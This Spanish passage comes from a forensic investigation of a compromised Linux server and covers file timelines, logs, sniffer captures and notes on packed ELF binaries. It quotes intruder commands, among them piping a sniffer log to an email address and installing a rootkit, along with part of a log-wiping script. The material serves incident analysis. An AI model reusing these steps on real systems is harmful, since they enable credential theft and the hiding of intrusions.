Sep 12 11:42:08 2001 ftpd[1327]: QUIT
Sep 12 11:42:08 2001 ftpd[1327]: FTP session closed
Sep 12 12:00:25 2001 in.telnetd[1342]: connect from cromanion.washington.edu
Sep 12 12:00:25 2001 telnetd[1342]: ttloop:  peer died: Try again
```

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema cromanion.washington.edu [215.12.10.2] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.

Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):

```
 . . .
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s => %s [%d]
eth0
tcp.log
cant open log
Exiting...
```

. . .

El día 13 de Sep, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.

```
Sep 13 01 10:01:46   55492 .a. -rwxr-xr-x root     root     /x/usr/bin/gcc
                      6211 .a. -rw-r--r-- root     root     /x/usr/include/stdio.h
                     92696 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp

                      1003 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/spe

Sep 13 01 10:01:47    2767 .a. -rw-r--r-- root     root     /x/usr/include/_G_config.h

                      1441 .a. -rw-r--r-- root     root     /x/usr/include/alloca.h
                      2040 .a. -rw-r--r-- root     root     /x/usr/include/confname.h

                      1267 .a. -rw-r--r-- root     root     /x/usr/include/errno.h
                      4186 .a. -rw-r--r-- root     root     /x/usr/include/features.h

                      4434 .a. -rw-r--r-- root     root     /x/usr/include/gnu/types.h

                      7917 .a. -rw-r--r-- root     root     /x/usr/include/libio.h
                       380 .a. -rw-r--r-- root     root     /x/usr/include/posix_opt.h

                      4419 .a. -rw-r--r-- root     root     /x/usr/include/signal.h
                     15134 .a. -rw-r--r-- root     root     /x/usr/include/stdlib.h
                      7537 .a. -rw-r--r-- root     root     /x/usr/include/string.h
                      3909 .a. -rw-r--r-- root     root     /x/usr/include/sys/cdefs.h

                      4538 .a. -rw-r--r-- root     root     /x/usr/include/sys/socket.h

                       321 .a. -rw-r--r-- root     root     /x/usr/include/sys/types.h

                     25129 .a. -rw-r--r-- root     root     /x/usr/include/unistd.h
                      8841 .a. -r--r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/inc

                     1029 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i3

                      6298 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                      2065 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu
```

```
                        2794 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                        3846 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                        2621 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

Sep 13 01 10:01:48      3668 .a. -rw-r--r-- root     root     /x/usr/include/arpa/inet.h

                         734 .a. -rw-r--r-- root     root     /x/usr/include/bytesex.h
                        1555 .a. -rw-r--r-- root     root     /x/usr/include/endian.h
                        3248 .a. -rw-r--r-- root     root     /x/usr/include/limits.h
                        6390 .a. -rw-r--r-- root     root     /x/usr/include/netdb.h
                        2663 .a. -rw-r--r-- root     root     /x/usr/include/netinet/in.h

                        3562 .a. -rw-r--r-- root     root     /x/usr/include/paths.h
                        2643 .a. -rw-r--r-- root     root     /x/usr/include/posix1_lim.h

                        2680 .a. -rw-r--r-- root     root     /x/usr/include/posix2_lim.h

                        3777 .a. -rw-r--r-- root     root     /x/usr/include/sys/bitypes.h

                         709 .a. -rw-r--r-- root     root     /x/usr/include/sys/param.h

                        2315 .a. -rw-r--r-- root     root     /x/usr/include/sys/time.h

                        5273 .a. -rw-r--r-- root     root     /x/usr/include/sys/wait.h

                        2852 .a. -rw-r--r-- root     root     /x/usr/include/time.h
                        1156 .a. -rw-r--r-- root     root     /x/usr/include/waitflags.h

                        3724 .a. -rw-r--r-- root     root     /x/usr/include/waitstatus.h

                     1418196 .a. -rwxr-xr-x root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1

                        3049 .a. -rw-r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/inclu

                         330 .a. -r--r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/inclu

                        2101 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i3

                         266 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/asm-i3

                        3965 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                         720 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu
```

```
                          78 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                        1146 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                         313 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

                         698 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linu

  Sep 13 01 10:01:57  117668 .a. -rwxr-xr-x root     bin      /x/usr/bin/as
  Sep 13 01 10:01:58  145695 .a. -rwxr-xr-x root     bin      /x/usr/bin/ld
  Sep 13 01 10:01:59    1088 .a. -rw-r--r-- root     root     /x/usr/lib/crt1.o
                        1216 .a. -rw-r--r-- root     root     /x/usr/lib/crtbegin.o
                        1212 .a. -rw-r--r-- root     root     /x/usr/lib/crtend.o
                         624 .a. -rw-r--r-- root     root     /x/usr/lib/crti.o
                         396 .a. -rw-r--r-- root     root     /x/usr/lib/crtn.o
                      204146 .a. -rw-r--r-- root     root     /x/usr/lib/gcc-lib/i486-linux/2.7.0/lib
```

El día 14 se ejecuta un cliente de ftp "ncftp":

```
  Sep 14 01 00:42:50  146881 .a. -rwxr-xr-x root     bin      /x/usr/bin/ncftp
```

Los índices de acceso del sistema cromanion.washington.edu (aka "cromanion") muestran un login al sistema quaker.washington.edu (aka "quaker") a las 14:03 del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas lotherdale.washington.edu, XXXXXXXXXXXXX.washington.edu, y XXXXXXXXXXXX.washington.edu:

```
XXX      ftp          XXXXXXXX.XXXXXXX Sat Sep 14 03:46 - 04:08  (00:21)
XXX      ftp          XXXXXXX.washingt Sat Sep 14 03:46 - 03:46  (00:00)
XXX      ftp          XXXXXXX.XXXXXXX Sat Sep 14 03:38 - 03:40  (00:02)
XXX      ftp          XXXXXXXXXXXXX.wa Sat Sep 14 03:37 - 03:39  (00:02)
XXX      ftp          XXXXXXXXXXXX.was Sat Sep 14 03:19 - 03:20  (00:00)
```

Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día 14 del Sep (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:

```
XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
 !"'%W#$ 38400,38400vt100bdoor
password
w
```

```
su r00t
cd /etvc
cd "..   "
ls
cat /etc/"..   "/tcp.log | mail hackeraccount@hotmail.com
cat /etc/"..   "/tcp.log | mail hackeraccount@hotmail.com
ncftp -u ls
cp tcp.log 1
ls
ncftp -y XXX.XXX
[A[D[D[D[D[D[D[D[Du



----- [Timed Out]
```

El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.

```
Sep 14 01 04:07:42    3797 .a. -rwxr-xr-x root     bin      /x/usr/bin/whoami
Sep 14 01 04:08:18    1024 m.c drwxr-xr-x root     root     /x/etc/..___
```

El día 14 del Sep, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.

También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX" y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.

```
 Sep 14 01 20:25:14   13004 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.identd
 Sep 14 01 22:24:52   15029 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.pop3d
 Sep 15 01 02:22:24   23421 .a. -rwxr-xr-x root     root     /x/usr/sbin/in.rlogind
 Sep 15 01 02:23:07   25217 .a. -rwxr-xr-- root     bin      /x/usr/sbin/rpc.mountd
 Sep 15 01 02:23:08    7705 .a. -rwxr-xr-x root     bin      /x/usr/bin/id
 SepX 15 01 02:24:22   28550 mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/fix
```

```
                     13508 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/login.bak

Sep 15 01 02:24:23   13508 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/login.bak

                      1375 mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/readme

Sep 15 01 02:24:39   26314 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/bindshell

                     27942 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/linsniffer

Sep 15 01 02:24:41   26314 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/bindshell

                     27942 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/linsniffer

Sep 15 01 02:24:43    1126 m.c -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/clean

                        XX mac -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/imapdis

Sep 15 01 02:24:59    4665 .a. -rwxr-xr-x root     bin      /x/usr/bin/basename
Sep 15 01 02:25:03       0 mac -rw-r--r-- root     root     /x/var/log/cron
Sep 15 01 02:25:04       0 ma. crw-rw-rw- root     root     /x/dev/ttyp3
Sep 15 01 02:25:06       0 .a. -rw-r--r-- root     root     /x/var/log/debug
Sep 15 01 02:25:08       0 .a. -rw-r--r-- root     root     /x/var/log/lastlog
Sep 15 01 02:25:12    2699 .a. -rw-r--r-- root     root     /x/var/log/syslog
Sep 15 01 02:25:15  131968 .a. -rwxr-xr-x root     bin      /x/usr/bin/gawk
                      5941 .a. -rwxr-xr-x root     bin      /x/usr/bin/wc
                         0 .a. -rw-r--r-- root     root     /x/var/log/xferlog
                      1024 m.c drwxr-xr-x root     root     /x/var/tmp/XXXXX
                      1126 .a. -rwxr-xr-x root     root     /x/var/tmp/XXXXX/programs/clean

Sep 15 01 02:25:54    2802 m.c -rwxr-xr-x root     root     /x/etc/rc.d/rc.inet2
Sep 15 01 02:26:13   12288 m.c -rw-rw-r-- root     root     /x/etc/psdevtab
Sep 15 XX 02:26:26    7416 .a. -rwxr-xr-x root     bin      /x/bin/mkdir
Sep 15 01 02:26:33      15 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/LS
Sep 15 01 02:26:40    1024 m.c drwxr-xr-x root     root     /x/dev/XXXXXXXX
                        25 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
Sep 15 01 02:28:37       0 .a. crw-rw-rw- root     root     /x/dev/ptyp2
Sep 15 01 02:28:38       0 m.c crw-rw-rw- root     root     /x/dev/ptyp2
                         0 mac crw-rw-rw- root     root     /x/dev/ttyp2
Sep 15 01 02:29:58       0 m.c -rw-r--r-- root     root     /x/var/log/lastlog
Sep 15 01 02:30:06       0 m.c -rw-r--r-- root     root     /x/var/log/xferlog
Sep 15 01 02:31:03   66973 .a. -rwxr-xr-x root     bin      /x/bin/telnet
Sep 15 01 02:35:01    1024 m.c drwxr-xr-x root     root     /x/var/log
                         0 mac -rw-r--r-- root     root     /x/var/log/sulog
Sep 15 01 02:35:16       0 m.c -rw-r--r-- root     root     /x/var/log/debug
```

```
 Sep 15 01 02:35:51       0 ma. crw-rw-rw- root     root     /x/dev/ptyp3
 Sep 15 01 02:35:52       0 ..c crw-rw-rw- root     root     /x/dev/ptyp3
                          0 ..c crw-rw-rw- root     root     /x/dev/ttyp3
 Sep 15 01 03:21:57    1649 m.. -rw-r--r-- root     root     /x/etc/passwd.OLD
 Sep 15 01 03:22:24    7317 .a. -rwxr-xr-x root     bin      /x/bin/killall
 Sep 15 01 03:22:40   58605 .a. -rwxr-xr-x root     bin      /x/bin/ps
                         25 .a. -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
```

La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 Sep 03:46 de la línea 348 y 17 Sep 20:13, desde la fecha de última modificación del fichero):

```
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]


----- [Timed Out]


IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXXlinux/38400
----- [FIN]


IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXX-linux/38400
----- [FIN]


IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootr00tlinux/38400t
----- [FIN]


IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
 !"'%P#$ 38400,38400linuxXXXXX


XXX
```

```
r00t
finger
cd /var/tmp
ls -al
rm -rf .bash*
ftp XXXXXX.XXX.XXX
anonymous
ass
get XXXX.tgz
quituit
tar zxvf XXXX.tgz
chmod +x *
./INSTALL
ls -al



----- [Timed Out]



IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
 !"'%P#$ 38400,38400linuxr00t
pico /etc/rc.d/irc.inetd2
rpc.mo.mo.mo.mountd
[A11
mountd
[A2
pmountd
[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
pico /etc/inetd.conf
[6~[6~killall -HUP inetd
cat /etc/inetd.conf
ps aux
kill -9 cd /dev
mkdir XXXXXXXX
cd XXXXXXXX
pico LS
XXXXXXXX
XXXXXy
pico PS
3 bindshell
3 linsniffery
ps aux
kill -9 2541
f
```

```
----- [Timed Out]
```

Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado el fichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.

La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sido utilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:

```
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
```

El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXX a las 02:26:

```
Sep 15 01 02:26:26    7416 .a. -rwxr-xr-x root     bin      /x/bin/mkdir
Sep 15 01 02:26:33      15 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/LS
Sep 15 01 02:26:40    1024 m.c drwxr-xr-x root     root     /x/dev/XXXXXXXX
                        25 m.c -rw-r--r-- root     root     /x/dev/XXXXXXXX/PS
```

El día 16 del Sep alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":

```
Sep 16 01 21:55:34   36088 .a. -rwxr-xr-x root     bin      /x/bin/netstat
Sep 16 01 21:58:27    1024 m.c drwxrwxrwx root     root     /x/var/tmp
Sep 16 01 21:58:52       6 .a. -rw-r--r-- root     root     /x/root/temp.txt
Sep 16 01 22:50:33    1024 .a. drwxr-xr-x root     root     /x/var/tmp/XXXXX
Sep 16 01 22:51:02    6644 .a. -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log

Sep 16 01 22:57:16    1024 .a. drwxr-xr-x root     root     /x/var/tmp/XXXXX/programs

Sep 16 01 23:39:51    1024 m.c drwxr-xr-x root     root     /x/var/tmp/XXXXX/programs

                      4992 mac -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log.s
```

El fichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:

```
Sep 17 01 12:44:50  153384 .a. -rws--x--x root     bin      /x/usr/bin/passwd
Sep 17 01 12:45:05    1649 m.c -rw-r--r-- root     root     /x/etc/passwd
                      1649 ..c -rw-r--r-- root     root     /x/etc/passwd.OLD
```

A continuación, el día 17 del Sep, alguien accede al servidor a través de telnet. Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" y también "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.

```
Sep 17 01 20:13:44     296 .a. -rw-r--r-- root     root     /x/etc/hosts.deny
                     40907 .a. -rwxr-xr-x root     bin      /x/usr/sbin/tcpd
Sep 17 01 20:13:45   40685 .a. -rwxr-xr-x root     bin      /x/usr/sbin/in.telnetd
                        25 m.c -rw-rw-r-- root     root     /x/var/spool/lp1/status
Sep 17 01 20:13:46       0 m.. crw-rw-rw- root     root     /x/dev/console
                         0 .a. crw-rw-rw- root     root     /x/dev/ptyp0
                         0 m.. crw-rw-rw- root     root     /x/dev/ttyp0
                     18476 m.c -rw-r--r-- root     root     /x/etc/..___/tcp.log
                      6644 m.c -rw-r--r-- root     root     /x/var/tmp/XXXXX/programs/sniffer.log

Sep 17 01 20:13:50       0 ..c crw-rw-rw- root     root     /x/dev/console
                         0 ..c crw-rw-rw- root     root     /x/dev/ptyp0
                         0 ..c crw-rw-rw- root     root     /x/dev/ttyp0
```

El día 18 de Sep, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":

```
Sep 18 01 05:30:26  164060 .a. -r-sr-Sr-x root     bin      /x/usr/sbin/sendmail
```

Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperados mostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.

```
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
rm -rf /var/tmp/imap-d
echo "6. cleaning logs"
```

```
cd /var/tmp/XXXXX
cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
/var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete"
echo "rember to disable imapd"
echo "EOF"
```

El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:

```
Sep 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
Sep 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
Sep 11 15:26:11 XXXX telnetd[865]: ttloop:  peer died: Try again
Sep 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
Sep 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
 . . .
Sep 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
 . . .
Sep 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
Sep 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
 . . .
Sep 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
Sep 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
 . . .
Sep 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
Sep 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
 . . .
Sep 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
Sep 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
Sep 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
 . . .
Sep 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
Sep 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
Sep 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
Sep 12 11:41:59 XXXX ftpd[1327]: PASS password
Sep 12 11:42:00 XXXX ftpd[1327]: SYST
Sep 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
Sep 12 11:42:06 XXXX ftpd[1327]: TYPE Image
Sep 12 11:42:06 XXXX ftpd[1327]: PORT
Sep 12 11:42:06 XXXX ftpd[1327]: STOR mountd
Sep 12 11:42:08 XXXX ftpd[1327]: QUIT
Sep 12 11:42:08 XXXX ftpd[1327]: FTP session closed
Sep 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
```

```
Sep 12 12:00:25 XXXX telnetd[1342]: ttloop:  peer died: Try again
 . . .
Sep 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
 . . .
Sep 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
 . . .
Sep 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
Sep 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX, XXXXX
Sep 12 23:48:55 XXXX su: XXXXX on /dev/console
Sep 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
Sep 13 00:12:54 XXXX su: XXXXX on /dev/console
 . . .
Sep 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
Sep 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX
Sep 13 07:08:14 XXXX su: XXXXX on /dev/console
 . . .
Sep 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
Sep 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXX.XXX
Sep 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
 . . .
Sep 13 09:58:42 XXXX su: XXXXX on /dev/console
```

El siguiente ejemplo es un extracto de script "zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo.

1. !/bin/bash

```
 . . .
WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v "

for file in $WHAT
   line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   echo -n "Cleaning $file ($line lines)..."
   grep -v $1 /var/log/$file > new
   mv -f new /var/log/$file
   newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   let linedel=$(($line-$newline))
   echo "$linedel lines removed!"
done
echo " "
```

Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.

```
ftp4264
ttyp1
3XXXXX
XXXXXXXXXXX
ttyp1
Pftp4626
3XXXXX
XXXXXXXXXXX
ttyp1
3XXXXX
XXXXXXXXXXX
ftp4626
ttyp1
Pftp4639
3XXXXXXXX
XXX.XX.XXX.XX
Pftp4639
Pftp4653
3XXXXXX
XXXXXXXXXXX
ftp4653
Pftp4743
3XXXXX
XXXXXXXXXXXXXXX
```

11. Apéndice A - Métodos de Protección de Binarios

11.1. Introducción

Los sistemas operativos Unix/Linux, *BSD se consideran por los especialistas como avanzados, seguros y estables debido a su diseño de arquitectura y gestión de procesos.

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix), COFF (Unix System V), ECOFF (Mips/Alfpha), XCOFF (IBM RS/6000, AIX) y finalmente ELF (el sucesor de COFF, que ofrece múltiples secciones y valores posibles de 32 o 64 bits). Mientras que los sistemas operativos win32 tienen MZ (dos), NE (Windows 3.xx) y PE (Win9x/NT).

La popularidad y el enfoque comercial de sistemas win32 obligó a las empresas desarrolladoras de software invertir fondos y horas en protección de sus aplicaciones, para evitar obligar a los usuarios comprar el software. Desde el

principio los especialistas en ingeniería inversa conseguían, por placer o por negocio, evitar los métodos de protección de los ejecutables que bajo win32 ya entonces tenían múltiples técnicas de protección. En actualidad un fichero ejecutable bajo Windows (PE) puede estar perfectamente cifrado, empaquetado, ofuscado y wrappeado al visa versa a la hora de ejecución lo que muestra la evolución de un binario simple hacía un ejecutable propiamente protegido, lo que proporciona la seguridad a la empresa desarrolladora que su software no podrá ser utilizado de forma ilegal, por lo menos por el público general.

Y lo único (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla de símbolos o en otras palabras "strippearlo" que que no ofrece ningún tipo de protección.

Existen pocas herramientas de protección, son experimentales y se conocen/utilizan solo por los hackers de nivel alto medio-alto. A la hora de realizar un análisis forense, nos encontraremos con binarios que el intruso ha ido dejando en el sistema y necesitaríamos saber las funciones de cada uno de ellos, teniendo en cuenta que ejecución de binarios desconocidos puede provocar un desastre, si no estamos seguros de la función de los mismos.

11.2. Métodos de Protección

En las investigaciones rutinarias de casos de "defacements" de páginas web o de utilización de la máquina comprometida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoría de herramientas están circulando por la red de forma abierta. Mientras que en los compromisos de sistemas importantes como de Bancos, Líneas Aéreas o Universidades, el nivel de intruso es tecnológicamente y intelectualmente superior, por lo tanto también lo son sus herramientas. Hasta que no sepamos el propósito de cada uno de las herramientas del intruso no podremos concluir la investigación con éxito.

Podemos encontrar siguientes métodos de protección de binarios en este caso, según el nivel del atacante y tipo de herramienta utilizada. Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo del investigador.

- UPX [3] - "Ultimate Packer for eXecutables", los intrusos con un nivel de conocimientos bajo o medio utilizan compresor de ejecutables UPX como una herramienta de protección de sus aplicaciones. Este software tiene soporte para reducir el tamaño de binarios de tipo dos/exe, dos/com, dos/sys, djgpp2/coff, watcom/le, elf y etc... a través de las funciones de la librería UCL escrita en ANSI C, por lo tanto ofuscando su contenido a nivel superficial.

  Si observamos el output del comando strings vemos que es fácilmente detectable por la cadena de texto "$Id: UPX 1.22 Copyright (C) 1996-2002 the UPX Team. All Rights Reserved. $" en caso de que UPX no ha sido modificado. En otros casos cuando el intruso puso su empeño en modificar la fuentes de UPX para confundir (aun mas) al administrador el binario sigue perfectamente reconocible observando las cadenas "/tmp/upxAAAAAAAAAAA", "/prof", etc... en el fichero. Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguiente comando:

```
[ervin@activalink.com ervin]$ ./upx -d <fichero empaquetado>
```

- BurnEye [4] - Este tipo de protección se utiliza por los intrusos con nivel de conocimientos medio, medio-alto, que conocen la estructura de binarios ELF. BurnEye ofrece 3 niveles de protección de binarios ELF por capas: ofuscación de código, cifrado de aplicación a través de contraseña y técnica de OS fingerprinting.

  Nivel 1. El primer nivel de protección realiza un cifrado del binario y utiliza la técnica de inyección de código dentro del binario ELF. El código es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta. Podemos detectar si el binario está protegido con el primer

```
[ervin@activalink.com dev]$ gdb ./<binario encriptado con burneye nivel 1> GNU gdb 5.2 Copyright 2
```

```
Program received signal SIGTRAP, Trace/breakpoint trap. 0x053714c7 in ?? () (gdb) \\
```

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7. Ese

Nivel 2. El segundo nivel de protección de binarios es más completo que el anterior. Su funciona

Para detectar la diferencia entre el nivel 1 y nivel 2, hay que ejecutar el programa. Por lo tan

```
[ervin@activalink.com dev]$ ldd ./void ldd: /lib/ld-linux.so.2 exited with unknown exit code (13
```

Si se produce el output similar, entonces queda confirmado que el binario está cifrado y la únic

```
[noone@activalink.com dev]$ ./void password: invalid key \\
```

Una vez ejecutado el fichero vemos que nos solicita la contraseña y si pulsamos Enter, nos infor

